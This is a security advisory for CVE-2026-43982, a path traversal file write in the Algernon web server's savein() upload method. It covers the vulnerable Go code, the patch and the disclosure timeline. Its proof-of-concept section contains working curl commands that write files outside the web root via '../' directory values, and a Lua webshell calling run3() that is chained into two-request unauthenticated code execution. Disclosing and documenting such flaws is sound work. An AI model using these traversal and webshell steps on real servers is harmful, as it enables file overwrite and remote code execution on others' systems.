Skip to content

Latest commit

 

History

History
185 lines (132 loc) · 7.98 KB

File metadata and controls

185 lines (132 loc) · 7.98 KB

CVE-2026-43982 — Path Traversal File Write via savein()

Summary

Algernon's savein() Lua method writes uploaded files to a caller-supplied directory without validating that the resolved path stays within the intended base. Passing ../../../tmp as the directory traverses straight out of the web root and writes files anywhere the server process can reach. Chained with Algernon's run3() global, this becomes a two-request unauthenticated remote code execution: one POST to drop a Lua webshell into the web root, one GET to trigger it.


Metadata

Field Value
CVE ID CVE-2026-43982
GHSA ID GHSA-2j2c-pv62-mmcp
Severity High
CVSS v3.1 Score 8.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWE CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Affected Versions < 1.17.6
Patched Version 1.17.6
Affected Repo xyproto/algernon
Report Date 19 April 2026
Publish Date 5 May 2026

Vulnerability Details

Root Cause

uploadedFileSaveIn() in lua/upload/upload.go builds the destination path by calling filepath.Join() with a directory argument that comes directly from the Lua caller — which itself comes from the HTTP request. filepath.Join() internally calls filepath.Clean(), which silently resolves .. components. There is no check after joining to verify that the resulting path is still inside the intended base directory, so a caller can walk anywhere on the filesystem.

The same problem exists in uploadedFileSave() for the filename itself: handler.Filename from the multipart form was used as-is, meaning a filename like ../../shell.lua could also traverse directories.

Affected File

lua/upload/upload.go, lines 215–235 (uploadedFileSaveIn)

Vulnerable Code

func uploadedFileSaveIn(L *lua.LState) int {
    ulf := checkUploadedFile(L)
    givenDirectory := L.ToString(2) // ← from Lua caller, no validation

    var writeFilename string
    if filepath.IsAbs(givenDirectory) {
        writeFilename = filepath.Join(givenDirectory, ulf.filename)
    } else {
        writeFilename = filepath.Join(ulf.scriptdir, givenDirectory, ulf.filename)
        // filepath.Join resolves '..' — no boundary check after joining
    }

    L.Push(lua.LBool(ulf.write(writeFilename, givenPermissions) == nil))
    return 1
}

A givenDirectory of ../../../tmp resolves cleanly to /tmp — entirely outside the web root — with no error, no log, and a true return value back to the Lua caller.


Proof of Concept

Exploit 1 — Write outside the web root:

curl -X POST "http://localhost:4000/upload.lua?dir=../../../tmp" \
  -F "file=@/tmp/payload.txt"
# Response: Saved to: ../../../tmp/payload.txt

cat /tmp/payload.txt
# THIS FILE WAS WRITTEN VIA PATH TRAVERSAL

Figure 5 — Path traversal write: file written to /tmp via ../../../tmp directory parameter

Exploit 2 — Drop Lua webshell into web root (chained RCE, two requests):

# Step 1: create the webshell
echo 'local out,_,_ = run3("id"); content("text/plain"); print(out[1])' > /tmp/shell.lua

# Step 2: upload with traversal back into web root
curl -X POST "http://localhost:4000/upload.lua?dir=../poc-root" \
  -F "file=@/tmp/shell.lua"
# Response: Saved to: ../poc-root/shell.lua

# Step 3: trigger the dropped webshell
curl "http://localhost:4000/shell.lua"
# Response: uid=1000(katriel) gid=1000(katriel) groups=...,27(sudo),...

Figure 6 — Chained RCE: path traversal uploads webshell to web root; run3() executes it on GET


Impact

The immediate impact is arbitrary file write to any path the server process can reach — configs, cron jobs, authorized_keys, or any file in the web root.

When chained with CVE-2026-43983 (run3()), this becomes a complete unauthenticated RCE path requiring just two HTTP requests. One POST drops a Lua webshell into the web root via traversal. One GET executes it. No credentials, no session, no prior access required.

Even without run3(), an attacker can overwrite existing .lua handlers to inject backdoors into legitimate application logic, or write files to system paths depending on the server process's permissions.


Fix

Fixed in v1.17.6 by xyproto via commit 83cd2fb, referencing issue #172.

Three changes were made in lua/upload/upload.go:

1. Strip path components from the uploaded filename at parse time (New()):

// Before — raw filename from the multipart form, no sanitisation
return &UploadedFile{req, handler.Header, buf, scriptdir, handler.Filename}, nil

// After — only the base name is kept, any directory components are discarded
safeFilename := filepath.Base(handler.Filename)
return &UploadedFile{req, handler.Header, buf, scriptdir, safeFilename}, nil

2. Boundary check added to uploadedFileSave():

// After filepath.Join, resolve both paths to absolute and verify containment
absBase, _ := filepath.Abs(ulf.scriptdir)
absTarget, _ := filepath.Abs(writeFilename)
if !strings.HasPrefix(absTarget, absBase+string(os.PathSeparator)) && absTarget != absBase {
    logrus.Error("path traversal attempt blocked: ", writeFilename)
    L.Push(lua.LBool(false))
    return 1
}

3. Same boundary check added to uploadedFileSaveIn():

// Before — no check, ../../../tmp resolves silently
var writeFilename string
if filepath.IsAbs(givenDirectory) {
    writeFilename = filepath.Join(givenDirectory, ulf.filename)
} else {
    writeFilename = filepath.Join(ulf.scriptdir, givenDirectory, ulf.filename)
}

// After — absBase is computed from the intended directory, then verified
var baseDir string
if filepath.IsAbs(givenDirectory) {
    writeFilename = filepath.Join(givenDirectory, ulf.filename)
    baseDir = givenDirectory
} else {
    writeFilename = filepath.Join(ulf.scriptdir, givenDirectory, ulf.filename)
    baseDir = filepath.Join(ulf.scriptdir, givenDirectory)
}

absBase, _ := filepath.Abs(baseDir)
absTarget, _ := filepath.Abs(writeFilename)
if !strings.HasPrefix(absTarget, absBase+string(os.PathSeparator)) && absTarget != absBase {
    logrus.Error("path traversal attempt blocked: ", writeFilename)
    L.Push(lua.LBool(false))
    return 1
}

The approach uses filepath.Abs() rather than filepath.EvalSymlinks() — simpler and sufficient since the goal is catching .. traversal rather than symlink following.


Timeline

  • 19 April 2026 — Vulnerability discovered and privately reported to xyproto via xyproto@archlinux.org per SECURITY.md
  • 25 April 2026 — Fix merged, commit 83cd2fb
  • Pre-1.17.6 — CVE-2026-43982 assigned
  • 5 May 2026 — Advisory published (GHSA-2j2c-pv62-mmcp, this writeup)

References